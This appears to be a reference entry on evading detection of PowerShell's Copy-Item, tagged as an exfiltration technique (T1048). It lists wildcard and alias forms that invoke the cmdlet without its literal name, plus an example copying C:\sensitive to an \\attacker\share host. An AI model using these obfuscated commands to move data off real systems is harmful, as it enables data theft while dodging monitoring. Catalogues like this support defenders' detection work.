Copy-Item

PowerShell exfiltration T1048

Copy files and directories. Used for staging payloads, copying sensitive data for exfiltration, or lateral file movement.

Binary Paths

  • PowerShell cmdlet

Glob Patterns

Pattern Wildcards Notes
& (gcm C*-I*m) -Path C:\sensitive -Destination \\attacker\share
* Wildcards in both verb and noun
& (gcm Copy-It*) -Path ...
* Star matches 'em'
& (gcm C?py-Item) -Path ...
? Single char wildcard replaces 'o'
& (gcm C[n-p]py-Item) -Path ...
[n-p] Character range matches 'o' in Copy
copy -Path src -Destination dst
Alias 'copy' for Copy-Item
cp -Path src -Destination dst
Alias 'cp' for Copy-Item
cpi -Path src -Destination dst
Alias 'cpi' for Copy-Item
& (gal cp?) -Path src -Destination dst
? Get-Alias with wildcard resolves 'cpi' — cp? avoids matching 'cli' (Clear-Item)
& (gcm *-Item) -Path ...
* Prefix wildcard — note: matches Get-Item, Set-Item etc.

Resources

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